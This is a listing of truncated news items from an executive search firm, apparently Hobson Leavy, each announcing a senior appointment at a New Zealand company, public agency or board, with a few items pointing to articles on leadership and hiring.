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Hobson Leavy is delighted to announce that Anita Hawthorne has been appointed as Group General Manager Sales and Service at Oceania Healthcare. In this newly created Executive role, Anita will be responsible for a range of customer experience and service delivery functions overseeing sales, marketing, and operations.   Anita has an extensive career, with over 20 years working with Air New Zealand, in a range of roles focusing on customer …

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Hobson Leavy is pleased to announce the University of Waikato has appointed Michaela Goldsmith as the new Director of Marketing.   Michaela has worked within the University of Waikato’s marketing team for the past five years, having most recently held the position of Senior Manager, Domestic Marketing.   Michaela brings extensive international marketing experience from fashion and education. Originally from the UK, Michaela gained a Bachelor of Marketing with Honours …

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Hobson Leavy is delighted to announce that Laura Valiant has been appointed to the Executive team as Chief Legal & Governance Officer for Southern Cross Health Society and Head of Governance for Southern Cross Group.   Laura holds dual admission, as a Barrister & Solicitor New Zealand and a Solicitor in the United Kingdom.  Laura practiced locally at law firm DLA and New York firm Kaye Scholer before establishing her …

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Hobson Leavy is delighted to announce that Bernadette Cavanagh has been appointed as the new Deputy Secretary – Pacific & Development Group at the Ministry of Foreign Affairs and Trade.   Bernadette Cavanagh has most recently been the Tumu Whakarae, Chief Executive of Manatū Taonga Ministry for Culture and Heritage, taking up the role in February 2019. Prior to this, Bernadette had a career with the Ministry of Foreign Affairs and …

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Hobson Leavy is delighted to announce that Isaac Stewart has been appointed as Corporate & Commercial Partner at MinterEllisonRuddWatts.   Isaac is a leading corporate lawyer specialising in public and private mergers and acquisitions (M&A), joint ventures and shareholder agreements, and listed and unlisted corporate advisory work.   Isaac joins the MinterEllisonRuddWatts partnership after advising at Clifford Chance in both its Hong Kong and New York offices for more than …

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Hobson Leavy is delighted to announce that Bridget Abernethy has been appointed as Chief Executive of  The Electricity Retailers Association of New Zealand (ERANZ).   Bridget Abernethy will take over as Chief Executive from 2 May.   ERANZ Independent Chair Anna Kominik says Ms Abernethy is a respected senior leader who brings local and international experience to support ERANZ and the wider electricity sector at a time of significant growth …

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Hobson Leavy is delighted to announce that Becky Lane has been appointed as a Senior Associate at Wynn Williams.   Becky joins Wynn Williams from Lowndes Jordan where she was an Associate, she gained general litigation experience including in construction related disputes, property issues and insolvency. Prior to this, Becky spent almost five years in Bell Gully’s General Litigation Team, focusing on insurance and insolvency files.   Becky completed a …

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Hobson Leavy is pleased to announced that The University of Waikato Council has appointed Mary-Anne Macleod as a member for a term of four years.   Mary-Anne is an alumna of the University, working as an Environmental Scientist before moving into leadership roles for the Ministry for the Environment and the Bay of Plenty Regional Council, where she was Chief Executive for seven years until 2018.   Since then, Mary-Anne …

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Hobson Leavy is thrilled to announce that Daniel Henderson has been appointed as the new General Manager Development & Commercial for Tamaki Regeneration Company (TRC).   TRC is leading the regeneration programme that is creating a thriving community in Glen Innes, Point England and Panmure in east Auckland. The regeneration will mean revitalised green spaces, town centres, social infrastructure, schools and 10,500 new homes.   Daniel brings over 30 years’ …

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Hobson Leavy and NZ Windfarms Limited (NZX Code: NWF) are pleased to announce the appointment of a new independent director, Mr Philip Cory-Wright (BCA, LLB, CFInstD) who will join the Board from 1 April 2022.   Mr Craig Stobo, NZ Windfarms’ Chairman, says “Philip’s skill set will complement the existing governance and management team and add deep capital markets and electricity industry experience at an important juncture in the Company’s …

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Hobson Leavy is delighted to announce that Susan King has been appointed as the inaugural General Manager for McVeagh Fleming.   A full-service law firm, McVeagh Fleming provides a full range of legal services, including corporate, commercial, property, litigation, and private client, together with a range of specialist practice areas within those categories.   Susan King is an international and locally recognised leader with experience of global corporates and running …

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Hobson Leavy is delighted to announce that Brian Cohalan has been appointed as the new Managing Director for Glidepath.   Glidepath is an innovative manufacturer and provider of automated turnkey solutions for airport, intralogistics and parcel markets. Glidepath is part of the global Alstef Group. Headquartered in France, Alstef Group is now established in over 68 countries and offer intelligent, tailormade, automated systems for their clients.   Brian Cohalan has …

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Hobson Leavy is delighted to announce that Rebecca Russell has been appointed as the new Chief Executive Officer of Auckland Rugby League, effective 11th April 2022.   Rebecca Russell joins the ARL as the organisation moves through a transition phase guided by the ARL strategic plan. The thorough and robust recruitment and interview process was carried out by a panel from the Board seeking a fitting candidate that could lead …

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In celebration of International Women’s Day, we invited some of Panorama’s female members, who hold leadership positions at their firms, to share some of the challenges they face as women in the corporate world. They talked about the balance of multifunction that includes professional life, motherhood, personal life and self-esteem, and how their plurality is essential to make them even more outstanding professionals.   Blaire Miller – Managing Partner/ Owner at The Hunter Group “I have …

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Hobson Leavy is delighted to announce that Kym Bunting has been appointed as the new General Manager Property at Tramco Group, effective 7 March 2022, following an executive search undertaken by Hobson Leavy.     Kym is a highly experienced property professional who has operated at a senior executive level for a number of years offering extensive experience in investment property across the office, retail and industrial sectors and demonstrating …

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Hobson Leavy is delighted to announce that Eoin O’Grady has been appointed as the new Chief Financial Officer for Vincent Capital.     Eoin O’Grady is a seasoned capital markets professional with 19 years of experience in the financial services sector in the UK. Eoin is particularly experienced in the area of global capital markets, risk, hedging, liquidity, M&A, and core treasury functions. Eoin is originally from Ireland. He graduated …

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Hobson Leavy is delighted to have assisted in appointing the new Director & Chief Executive for the Serious Fraud Office (SFO).   Deputy Public Service Commissioner Helene Quilter QSO has now announced the appointment of Ms Karen Chang to the position.   The Serious Fraud Office (SFO) is the lead law enforcement agency responsible for addressing serious and complex financial crime in New Zealand. The SFO also works to prevent …

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Hobson Leavy is thrilled to announce Trevor Leybourne has recently joined Cin7 as their first Chief Technology Officer.     Cin7’s category leading Inventory Management Software helps multichannel brands to scale, optimise stock and grow sales. Cin7 pride themselves on providing cloud-based Inventory Management and Supply Chain software that helps medium-large product businesses thrive in a highly competitive, digital world. They are passionate about simplifying inventory management for their customers …

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Hobson Leavy and Radius Care Limited are pleased to announce the appointment of Andrew Peskett as the new Chief Executive Officer, effective 1 February 2022.   Andrew brings extensive experience in the retirement village and aged care industry, having previously been a senior executive at Metlifecare, a leading New Zealand retirement village operator with total assets in excess of $4 billion. After several years working in large London law firms, …

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Hobson Leavy is delighted to announce that after an extensive search, Tim Andrews has been appointed Director of Sales & Operations for Triton Hearing.   Tim joins Triton from Spark, where he held the role of Head of Consumer Partnerships & Operations.  He has also run Spark’s retail business and worked for blue-chip organisations such as Mars and Frucor.  Tim has been with Spark NZ for over 10 years. In …

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Hobson Leavy and Ngāti Whātua Ōrākei Whai Rawa have announced that Grant Kemble has been appointed as CEO, recognising the strong leadership and stability he has brought to the organisation, following the passing of former CEO Andrew Crocker earlier this year.     Having spent six months as acting Chief Executive at Whai Rawa, Grant has been retained by the Board to take on the role permanently.   Formerly Chief …

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Hobson Leavy is thrilled to announce that Armstrong’s, one of the largest privately owned groups of automotive brands in the country, has appointed Brian Fouhy as its new Chief Financial Officer. Brian fills the role vacated in August by Troy Kennedy, now Armstrong’s Chief Executive Officer.     “Brian possesses a unique set of CFO skills combining transport and listed company experience that will benefit Armstrong’s as we embark on …

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Hobson Leavy is thrilled to announce that Andrew Buckingham has been appointed as Group General Manager Property & Development for Oceania. He will be starting in the role in February 2022.     Andrew is an accomplished property developer with a broad range of skills and networks gained over more than 35 years in both New Zealand and Australia. Previously the General Manager of Development at Precinct Properties, where he …

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Hobson Leavy is delighted to announce that Pacific scholar and senior university sector leader Dr Damon Salesa has been appointed to be the next Vice-Chancellor of Te Wānanga Aronui o Tāmaki Makaurau Auckland University of Technology (AUT).   The appointment is the result of a global search after current Vice-Chancellor, Derek McCormack announced his retirement in March 2022 after 18 years at the helm.   Damon is a prizewinning historian and …

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Hobson Leavy and Transpower are delighted to announce that Catherine Shaw has been appointed as the new Chief Financial Officer effective Tuesday 8 February 2022, and will be based in the Wellington office.   Transpower owns and operates the National Grid – the high voltage transmission network connecting areas of generation with towns and cities across New Zealand.   Catherine joins Transpower from Todd Corporation where she held the role …

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Hobson Leavy and Blis Technologies are thrilled to announce that Aimee McCammon has been appointed as a Director of the Company with effect from 21 October 2021.   Aimee McCammon is CEO NZ of Augusto Group, an entertainment, advertising and technology company. She is an experienced strategist and brand builder with deep knowledge of consumer marketing. Her brand experience spans an array of New Zealand’s power brands including Whittaker’s, Toyota, …

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Hobson Leavy is delighted to announce that Graeme Watt has been appointed as the new Deputy Chief Executive – Finance & Business Insights for St John.   Most recently Graeme was at the Office of the Auditor General, as their interim Chief Financial Officer. Prior to this Graeme spent eleven years at Kiwibank, where his last role was the Chief Financial Officer.   Throughout his career, Graeme has held a …

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Hobson Leavy is absolutely delighted to announce Lauren Shearer has joined our team as a Senior Consultant.   Lauren recently returned to New Zealand after seven years working for the UK’s largest executive search firm, Odgers Berndtson, based in London. As a Consultant in the Global Technology and IT Services Practice she partnered with high-growth software firms to attract and appoint their critical leadership talent across the UK, Europe and …

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Hobson Leavy is thrilled to announce that Paul Johnston has been appointed as the new Chief Financial Officer for Tower Insurance.   Mr Johnston will join Tower from Chubb, one of the world’s largest publicly traded property and casualty insurance companies, where he is currently the Chief Financial Officer & Director of the company’s Far East Region, and was previously Financial Controller for the European region.   Prior to joining …

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Hobson Leavy is proud to be a partner of The Aotearoa Circle, a unique partnership of public and private sector leaders, established to preserve New Zealand’s natural resources and ensure economic prosperity for our future generations. In July, The Aotearoa Circle launched Toitū Tahua: Centre for Sustainable Finance. Toitū Tahua aims to deliver the Sustainable Finance Forum’s 2030 roadmap for a sustainable financial system here in Aotearoa.     Sustainable …

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Hobson Leavy is delighted to announce the appointment of Rob Everett as the new Chief Executive for New Zealand Growth Capital Partners. Mr Everett has spent the past seven years as Chief Executive of the Financial Markets Authority (FMA). Mr Everett leaves the FMA at the end of October and will join NZGCP on 31 January 2022.     NZGCP Chair David Smol said he was delighted to announce the …

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Hobson Leavy and Waka Kotahi NZ Transport Agency are delighted to announce that Liz Maguire has been appointed as the new Chief Digital Officer and a member of the Executive Leadership Team, with effect from 11 October 2021. Liz will be leading the Digital Transformation Group.     Liz is a seasoned leader who brings 30 years of experience in financial services and in leadership roles. Liz joins Waka Kotahi …

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Hobson Leavy is delighted to share the news that Fiona Michel has been appointed as the new Braemar Hospital Chief Executive Officer. Fiona will start her new role at the beginning of December.   Fiona joins Braemar after an impressive career in executive leadership and senior management, not only in the health sector but also in insurance, banking and the New Zealand Police. Fiona is currently seconded from her role …

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Hobson Leavy is delighted to announce that Sam Wilson will be joining Anthony Harper’s Christchurch office. Wilson joins the firm as special counsel immediately and, pending Law Society approval, will be appointed to the partnership in the coming months.     Wilson comes to Anthony Harper after 10 years at an Auckland-based firm, where he worked with clients in the supermarket, media, technology, and health sciences sectors. His areas of …

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Hobson Leavy is pleased to announce that Steve Browning has been appointed as the new Chief Financial Officer for Southern Cross Healthcare & Trust.   Steve is an experienced commercial leader with a range of industry experience and will bring extensive capability to the ELT and Finance function. Steve has worked across various industries including marketing services, media, healthcare and hospitality in NZ and the UK.  His most recent experience …

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Hobson Leavy is delighted to announce the appointment of Rebecca Callaghan as the new Chief Financial Officer for Craigs Investment Partners.   Rebecca has extensive experience as Group Financial Controller and Group Taxation Manager at Zespri International Ltd, for the past nine years, and she has also held senior finance positions at ANZ and AMP Financial Services.   Simon Tong, who recently started at Craigs Investment Partners (Craigs) as CEO, …

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Hobson Leavy is pleased to announce that The Financial Markets Authority (FMA) – Te Mana Tātai Hokohoko – has appointed experienced international regulator Samantha Barrass as its new Chief Executive.   FMA Chair Mark Todd said Ms Barrass has a strong New Zealand connection and brings deep international regulatory experience and leadership skills to the role. “Ms Barrass has had a very successful career to date, operating in a number …

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Hobson Leavy is delighted to announce the appointment of Bruno Lago as the new Chief Technology Officer for Modica Group.   Bruno has 20 years experience in senior technology roles in a range of industries in New Zealand and Brazil. Over that time he has developed expertise managing teams to deliver across software development, engineering, infrastructure, solutions architecture, and R&D. Most recently Bruno was Managing Director of cloud computing innovator …

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Hobson Leavy and the Board of the newly established Kiwifruit Breeding Centre are delighted to announce the appointment of Dr Matt Glenn as its inaugural Chief Executive Officer.   The Kiwifruit Breeding Centre is a 50/50 joint venture between Plant & Food Research and Zespri. It has been established to drive greater innovation within kiwifruit breeding, and to create healthier, better tasting and more sustainability-focused varieties.   Kiwifruit Breeding Centre …

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Hobson Leavy is thrilled to announce that Steven Carden has been appointed as Managing Director for Delegat Group, from 31 January 2022.   Executive Chairman Jim Delegat said, “Delegat Group is delighted to appoint Steven Carden as Managing Director. Steven’s career to date includes working for McKinsey & Co. in New York, serving as General Manager of PGG Wrightson Australia, and his current role as Chief Executive Officer of Pāmu …

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Hobson Leavy is thrilled to announce the Seshani Bala has recently joined the firm as General Counsel, effective 16 August 2021. In this role, she leads KPMG’s legal function, guiding the firm on all legal and governance issues. Seshani will report to Risk Management Partner, Paul Herrod and KPMG CEO, Godfrey Boyce.   Godfrey Boyce said, “Seshani is an accomplished legal strategist and governance professional and is recognised as such. She …

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Hobson Leavy is thrilled to announce the appointment of Paulette Cotter as the inaugural Chief People & Capability Officer for MMC.   MMC provides investment administration services for 30 investment managers and product providers, and more than 70 groups of investment professionals with funds under administration in excess of NZ$100 billion.     Paulette is a strategist and transformational change consultant specialising in the development of strategic plans, business models …

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Hobson Leavy is thrilled to announce the appointment of Jolon Dyer as Group General Manager, Science Services at The New Zealand Institute for Plant and Food Research.   As one of the organisations most senior science leaders, Jolon will lead the fee for service research portfolio that delivers significant value and impact to government and private sector customers as well as high quality science.   Jolon is a Scientist by …

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Hobson Leavy is thrilled to announce the appointment of Shelley Katae as the new Chief Executive Officer of Tāmaki Regeneration Company (TRC), a Crown and Auckland Council entity.     TRC is leading the regeneration programme that is creating a thriving community in Glen Innes, Point England and Panmure in east Auckland. The regeneration will mean revitalised green spaces, town centres, social infrastructure, schools and 10,500 new homes.   Shelley …

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Hobson Leavy is pleased to announce the appointment of Richard Brown to the role of General Manager Operations & Supply Chain for Tasti.   Richard has a broad range of experience in the Food and Beverage Industry. Richard joins Tasti from his role as Site Manufacturing manager for Sanitarium – Auckland, where he has worked since 2018.   Prior to working for Sanitarium, Richard has held senior manufacturing roles with …

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Hobson Leavy is pleased to announce Caroline Rainsford as the company’s latest participant in the Future Director programme, continuing the Group’s commitment to supporting the next generation of governance talent in New Zealand.     Caroline is currently the Country Director for Google NZ, where she is responsible for driving the overall revenue and business strategy for New Zealand and partnering with Government, policy teams and New Zealand business leaders. …

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Hobson Leavy is delighted to announce the appointment of Mrs Paula Wells as the new Principal of Samuel Marsden Collegiate.   Paula is a proven leader who is articulate and passionate about girls’ education. She is currently the Principal of Sacred Heart Girls’ College, New Plymouth, a role she has held since 2015. She has a breadth of experience and capability and is also involved in a number of activities …

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Hobson Leavy is thrilled to announce that Mark Cairns has been appointed as intended chair for 2degrees, should its IPO proceed.     Brad Horwitz, 2degrees’ current chair says, “Mark Cairns has outstanding credentials and is widely respected as a CEO and Company Director. He brings significant expertise and leadership along with recognised listed company credentials to what will be a compelling new investment opportunity in both New Zealand and …

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Hobson Leavy is thrilled to announce the appointment of Susan Peterson as an Independent Director on the board of Craigs Investment Partners.   Susan is an experienced business leader with a particular interest in helping companies to drive growth through technology, innovation, and organisational culture. Susan is currently the chair of Vista Group and a director on the boards of Xero, Trustpower, Arvida and Property for Industry. Susan is also …

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Hobson Leavy is thrilled to announce the appointment of Shane Sampson as the Chief Financial Officer for Serko. Serko Limited (NZX/ASX:SKO), is a leader in online travel booking and expense management technology.     Shane joins Serko with over 30 years’ experience in finance, commercial and leadership roles, most recently as the CFO of NZX and ASX listed company PushPay. Through his career to date he has held senior management …

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Hobson Leavy is thrilled to announce the appointment of Kate Baguley as Chief Financial Officer and Damian Mathews as Chief Operating Officer to Auckland Real Estate Trust (ARE).   “Both are key appointments for ARE as the business continues to expand. Given the active operations of the business, the need for continuing development of the management team to meet the requirements of the business and the expectations of our investors …

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Hobson Leavy is thrilled to announce the appointment of Andrew MacFarlane as Chief Financial Officer for Suncorp New Zealand, effective 2 August 2021.      Andrew joins Suncorp from ANZ, where he has spent the last 25 years in a variety of finance roles including in its Institutional Division, Retail Bank and Tax, as well as in product management and strategy roles. Most recently he held the role of CFO …

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Hobson Leavy is thrilled to announce the appointment of Simon Tong as chief executive after the departure of long-serving CEO Frank Aldridge in March.     Simon has previously been CEO of Paymark Ltd and Fairfax NZ Ltd and is currently ASB Bank’s Executive General Manager Digital, Data and Brand. Simon has a strong background in technology and strategy and is highly regarded as a leader who has driven change, performance, …

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Hobson Leavy is pleased to announce the appointment of Carriann Hall as the new Chief Executive Officer for CHT.     Carriann Hall joins CHT from the Hawkes Bay DHB where she holds the position of Executive Director Financial Services, responsible for a broad portfolio during her tenure, including Finance, Facilities, Procurement Supply Chain, Organisational Risk and Compliance, Health, Safety and Wellbeing, Human Resources and Privacy.   CHT Chairman Graeme …

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Hobson Leavy is thrilled to announcement the appointment of Jen Baird as the industry body’s new Chief Executive and will start in the role in early July.     For the past three years Jen has been the General Manager, City Growth, for the Hamilton City Council. Her role includes responsibility for planning for the long-term future of a metropolitan scale city including growth funding and delivery of new growth …

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  Hobson Leavy is thrilled to announce the appointment of Joanna Simon as the new Chief Executive for the New Zealand Law Society | Te Kāhui Ture o Aotearoa.    “Joanna brings a wealth of experience from her previous roles including her recent position as Chief Operating Officer at DLA Piper New Zealand, the first global law firm in New Zealand. She really impressed the recruitment panel with her …

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  Hobson Leavy is thrilled to announce the appointment of Renee Tourell as Chief Operating Officer for MMC.   Renee brings comprehensive experience as an executive in operations, client success management and performance optimisation from financial technology and services markets in London and New York. During her sixteen years with Dealogic, a global financial technology firm, she focused on building ‘client first’ cultures where she has a proven track …

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Hobson Leavy is thrilled to announce the appointment of Sarah Thirlwall as Chief Transformation Officer for Lotto New Zealand.   As a new key member of the executive team, the Chief Transformation Officer will drive a connected approach to the development and execution of the business transformation strategy.   Sarah brings to this role 20 years’ experience as a senior executive across digital, strategic planning and operational leadership. For the …

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Hobson Leavy is thrilled to announce the appointment of Katy Ellis as Chief Operating Officer for Habit Health.   Habit Health is New Zealand’s largest integrated health, fitness and physiotherapy rehabilitation provider. An extensive range of specialised health, fitness and personal welfare services along with a comprehensive national footprint, allows Habit Health to optimise the health and well-being of Kiwis at home, in the workplace or at one of more than …

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  Hobson Leavy is thrilled to announce the appointment of Tony Martin as Chief Executive Officer of Prevar.    Martin joins the breeding and varietal development specialist from New Zealand Trade and Enterprise (NZTE). Over an eight-year tenure with NZTE, Martin served as New Zealand’s trade commissioner and consul general for Vietnam. He also led the India, Middle East and Africa team as regional director, based in Dubai.   Martin …

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  Hobson Leavy is thrilled to announce the appointment of Jo Crawford to the role of General Manager Rockgas.   Jo Crawford is a senior executive with over 20 years of professional experience gained primarily within the telecommunications sector. Her most recent role was with Chorus where she was the General Manager Customer Care on the executive team. She has an M.Sc in Applied Psychology and P.G.Dip in Industrial …

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Hobson Leavy is thrilled to announce the recent appointment of Rachel Barrow to the role of Chief Customer Officer at Lotto New Zealand.   Rachel brings to this role a depth of leadership experience, gained over 16 years across multiple roles in the banking industry. Rachel’s ability to transform businesses at the same time as increasing staff engagement, has led to significant improvements in customer satisfaction and commercial outcomes.   …

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Hobson Leavy is thrilled to announce the recent appointment of Jo Copeland to the role of General Manager People at Oceania Healthcare, a new leadership role on the executive team.   Oceania Healthcare is a leading provider of premium healthcare services in New Zealand. Oceania is dedicated to delivering exceptional and innovative hospitality services and today employs over 2800 staff with 3700 residents.   Jo brings a wealth of strategic …

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Hobson Leavy is pleased to announce that the Auckland City Mission has appointed a new City Missioner ahead of the upcoming departure of Chris Farrelly, who has held the position for the last five years.   Board Chair, Joanna Pidgeon, says everyone involved with the Mission will miss Chris’ visionary and compassionate approach.   She says he has much to be proud of, noting his biggest legacy will the Mission’s …

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Hobson Leavy is thrilled to announce the appointment of Lindsay Cowley as a Non–Executive Director on the realestate.co.nz Board.   Realestate.co.nz is New Zealand longest standing property website. The company is dedicated to servicing the property market and recently has experienced high growth rates in a very competitive real estate platform environment.   Lindsay brings to the Board over 20 years of senior executive experience in travel, digital services, telecommunications, …

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Hobson Leavy is thrilled to announce the appointment of Christine Spring as a new director for NZ Windfarms.   Ms Christine Spring will join the Board from 1 March 2021. Her appointment is to fill the vacancy left by Mr Philip Lennon, who retired on 31 December 2020.   NWF has spoken about its path forward. Shareholders will know that the Company has pursued a stabilised profit and dividend …

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    Hobson Leavy is pleased to announce that the Dilworth Trust Board has appointed Ed Eadie as their inaugural Chief Financial Officer (CFO).   The role of CFO is a first for the Trust Board, reflecting the increasing breadth and depth of Trust Board operations as it looks to fund the growing requirements of the school.   Dilworth’s Chief Executive Officer, Ewen Anderson says, “The complexity and size of …

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  Kordia Group’s acting chief executive officer Shaun Rendell has been confirmed in the role at the state-owned telco enterprise.   Previously chief financial officer, Rendell became acting CEO in August 2019 after then chief executive Scott Bartlett was diagnosed with brain cancer and took prolonged sick leave to focus on his health.   Bartlett, 40, resigned in October 2020 before passing away in December, leaving big shoes to …

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Hobson Leavy is thrilled to announce the appointment of Robert Douglas to the company’s Senior Leadership Team as Chief Information Officer.   Robert will lead the Information Technology functions across the NZX Group, including the programme of further investment from 2021, particularly in the markets businesses, to enhance the stability and resilience of the company’s technology framework. He will spearhead NZX’s engagement with market participants and other key stakeholders to …

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Hobson Leavy is pleased to announce the appointment of Keith Manch as the next Director of Civil Aviation and Chief Executive of the Civil Aviation Authority.     Keith is currently the Chief Executive and Director of Maritime NZ, and will bring strong experience as a regulator to the Authority, along with considerable experience as a Chief Executive, and in leading culture change programmes.   Board Chair Janice Fredric said …

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Hobson Leavy is thrilled to announce that Goodman (NZ) Limited, the Manager of Goodman Property Trust, has appointed David Gibson to the Board as a non-executive Director.   David is a professional director, investor and business consultant. His current directorships include NZME Limited and Rangatira Limited while his private interests include Sidehustle App, Harker Herbals and Jess’s Underground Kitchen. He is also on the Board of Trustees of Diocesan School …

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Following extensive international searches, Hobson Leavy is thrilled to congratulate both Jeremy Williamson who has been promoted into the newly created role of Head of Private Wealth and Markets for Craigs Investment Partners, and Ryan Bacher who has joined the firm as Chief Operating Officer.   Jeremy has been with the firm since joining from ABN AMRO in 2009 and will make the move from his current position as Managing Director, Investment Banking. …

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Hobson Leavy is thrilled to announce that Goodman (NZ) Limited, the Manager of Goodman Property Trust has appointed Laurissa Cooney to the Board as a non-executive Director.     Laurissa’s  current directorships include Accordant Group Limited, Air New Zealand Limited, Ngai Tai ki Tamaki and Tourism Bay of Plenty where she is also the Chair. Prior to these governance roles she was Chief Financial Officer of Te Whare Wānanga o Awanuiārangi. …

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  Hobson Leavy is thrilled to announce the appointment of Stephen England-Hall as Wayfare chief executive (CE). Wayfare Chair Jim Boult says the board is delighted with the appointment.   “Mr England-Hall brings with him a wealth of tourism industry knowledge and deep understanding of both the domestic and international markets that will be invaluable in these extraordinary times.”   Stephen England-Hall has been the chief executive of Tourism …

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Hobson Leavy is thrilled to announce the appointment of Liz Hall as Head of People & Culture for Milford.   As a people business, their clients’ success comes down to the calibre of their people. That’s why they are excited to continue investing in the development of their people, with the addition of Liz Hall to the position of Head of People & Culture.   Liz is a strategic and …

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  Hobson Leavy is thrilled to announce the appointment of Jimmy Higgins as Chief Executive Officer of Suncorp New Zealand.   Since joining Suncorp in 2008, Mr Higgins has held a range of senior and executive roles across the Australian and New Zealand insurance businesses. Prior to being appointed acting CEO of Suncorp New Zealand in July 2020, he held roles in the New Zealand business as CFO and …

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Hobson Leavy is pleased to announce the appointment of Rod Treadwell as NZ Health Partnerships new General Manager Procurement.   Rod is a senior executive and qualified lawyer with over 25 years’ experience in procurement, supply chain management, and infrastructure roles in health, information technology, primary industries, and telecommunications. Most recently, he was Executive Director Procurement for HealthShare New South Wales (NSW), Australia.   As a returning New Zealander, Rod …

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Having the right hire at the executive level boosts shareholder confidence, organizational effectiveness and employee engagement.   The best executive search firms partner with clients, providing deep expertise in the industries, functional roles and geographies in which their clients operate.   How do clients know who they can trust?   AESC Members are vetted, trusted professionals who leverage their access and expertise to place, find and develop executives in board …

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Hobson Leavy is pleased to announce the appointment of Phillipa Muir as an independent non-executive director of the Company, effective 31 August 2020.   Executive Chairman Jim Delegat said, “Delegat Group is delighted to appoint Phillipa Muir to the Board”. Phillipa is currently also Chair of Fletcher Building’s Employee Educational Fund, Chair of the Auckland Writers Festival Trust and a senior partner in law firm Simpson Grierson, where she heads …

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As we shift back to working from home in Auckland, we are open for business as usual and will continue to support and provide for our clients. Here at Hobson Leavy we can also rapidly deploy interim senior talent to assist with solving immediate business critical issues, or just provide some much-needed additional senior resource.   Whatever your senior resourcing need is, we can help. Please contact one of our …

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Hobson Leavy is pleased to announce the appointment of Jacky Hollingsworth as the first Chief Financial Officer to join MMC’s executive leadership team.   Jacky Hollingsworth is an experienced CFO and general manager finance, who is currently employed the CFO at Auckland Tourism, Events and Economic Development. Previous roles include general manager finance for Vocus New Zealand, CFO for McDonald’s Restaurants as well as having experience with technology start-ups and …

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Hobson Leavy is pleased to announce the appointment of Ryan Cavanagh as the Managing Director and Interim Chief Executive Officer for Timberlands Ltd based in Rotorua.   Ryan Cavanagh joins Timberlands following a very successful tenure with McKinsey & Company. Since 2015, as Senior Vice President, Ryan has been providing leadership and business transformation coaching as a Chief Transformation Officer, working with companies in New Zealand along with others …

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Hobson Leavy is thrilled to announce the appointment of Doris Murphy as the new General Manager People & Capability for NZHL.   Doris is a highly experienced, senior human resource executive who is passionate about customer experiences with a drive to deliver success on a personal and business level. She brings strong knowledge of the financial services sector, particularly retail and franchise banking, to this role.   Doris joins the …

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Hobson Leavy is pleased to announce the appointment of Matthew Olde into the role of Investment Partner with Rangatira Investments, for the newly established Auckland office.   Matt is a former investment banker and has held senior roles in one of New Zealand’s largest corporates, Mercury.  While at Mercury, Matt was the Chief Executive Officer of Metrix, NZ’s second-largest digital metering services, and he played a pivotal role in …

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Following an extensive search process, Hobson Leavy is absolutely thrilled to announce the appointment of Anne Henry as the new Chief People & Culture Officer for Beca Group, one of the largest professional services consultancies in Asia Pacific with over 3500 diverse employees across 20 offices globally.   Anne is a strategic and commercially experienced HR Professional, who is passionate about the development of leadership and talent to help grow …

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Hobson Leavy is pleased to announce the appointment of Peter Lennox as the Chief Executive Officer for ESR. He will take up this role in September 2020. ESR is New Zealand’s Crown Research Institute specialising in science for communities. ESR uses world-leading science to safeguard our health, keep our communities safer, protect our food-based economy, and improve the health of our water and natural environment.   ESR Board Chair Denise …

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This article by McKinsey & Co looks at the ways COVID-19 has changed how we approach our work. Collaboration, agile teams, and the growing importance of public-private collaboration are key elements emerging globally, from this period of crisis. It would seem there is an array of revolutionary ideas that now force us to rethink our previous ways of ‘getting things done’ in the workplace.   Along with identifying the ‘ingredients’ …

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This article in the Harvard Business Review urges executives to seize the opportunities arising from this unprecedented time. While multiple sectors are fraught with uncertainty, extraordinary candidates may be moveable or ‘poachable’ in this more unstable environment. A focus on soft skills, such as collaboration, change management and influencing will become highly sought-after competencies, as companies rebuild and reposition toward a different future. It is in contrast with what usually …

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How do the best leaders build and maintain an effective culture? The international Association for Executive Search Consultants recently conducted an extensive study investigating core values that shape organisational culture. Insights have been collated from over 300 international executives who shared their views on the importance of trust, collaboration and of sharing a clear purpose with their team. Among the 23 identified values, the results reveal that leaders across the …

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Hobson Leavy is pleased to announce the appointment of Wade Alsweiler as the new Manager, Responsible Care for Methanex New Zealand based in Taranaki. Methanex Corporation is the world’s largest producer and supplier of methanol to major international markets in North America, Asia Pacific, Europe and South America.   Wade joins Methanex from BP Oil where he is currently the HSSE Manager and has been instrumental in dialing up the …

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Hobson Leavy is pleased to announce the appointment of Susan Glasgow as the new Chief Executive Officer for Variety – the Children’s Charity.   Susan has 25 years’ experience working across the arts and education sectors both locally and internationally. Susan joins the Children’s Charity from KEA where, as Global Director of World Class New Zealand, she was responsible for connecting, stewarding and leveraging the capabilities of the top …

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Hobson Leavy is thrilled to announce the appointment of Matt Bolger as Pro Vice-Chancellor of The University of Waikato Management School, commencing 1 August 2020.   Matt is currently General Manager Capital Strategy at Fonterra. He obtained a Bachelor of Science in Business Administration with Honours from Georgetown University in Washington DC before commencing his career with Fonterra, where he spent the last 18 years in a variety of …

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  Hobson Leavy is proud to have managed the Future Director appointment for Investore Property Limited.   Emma McDonald is currently a Director and Owner of Pragmatix and brings broad property experience including previous project management roles at Fletcher Construction and Shell International. Emma is well qualified and is a Chartered Professional Engineer and a Member of Engineering New Zealand. She also is a Member of the Institute of …

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Hobson Leavy is thrilled to announce the recent appointment of Dr. Michelle Sullivan as the Chief Executive Officer for Unicorn Foundation New Zealand.  Michelle is the founder and director of bioscience consulting firm Electric Sheep Ltd; undertaking a range of diverse consulting projects within the public sector and for private organisations.   Her other present and past roles include: Current independent Chair of the Strategic Alliance board for the Malaghan …

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Last week, Hunt Scanlon published an exhaustive list of global recruiting providers and culled it down to the top 40 global talent providers that now dominate the recruiting business worldwide. They have presented these 40 search firms which give direct access to their managing directors. The analysts have looked at each provider in great detail and have come away with a list that they believe captures the best global search …

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Hobson Leavy is pleased to announce the appointment of Kate Armstrong as an Independent Director of the Suncorp’s New Zealand Boards (Vero New Zealand Insurance , Vero Liability Insurance and Asteron Life ), effective May 4, 2020.   Suncorp New Zealand chair David Flacks said the boards have been reviewing their composition and skills mix since Geoff Ricketts stepped down in December 2019. “We were particularly interested in a director …

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Hobson Leavy is pleased to announce the appointment of Mark Daldorf as Head of People & Capability for Airways New Zealand. Airways is New Zealand’s air navigation service provider.   Mark leads the People and Capability team to provide a full suite of Human Resources services across the various operational and international areas of Airways.   Congratulations Mark!

Following the launch of our Interim Executive practice last month, Hobson Leavy is thrilled to have partnered with Lotto New Zealand, appointing Helen van Orton as an Interim Executive.   Helen has extensive experience in customer loyalty, product management, contact centres and operations. Helen’s most recent role was with Vodafone where she was Customer Operations Director on the NZ executive team.   Whether permanent or interim, we can rapidly deploy …

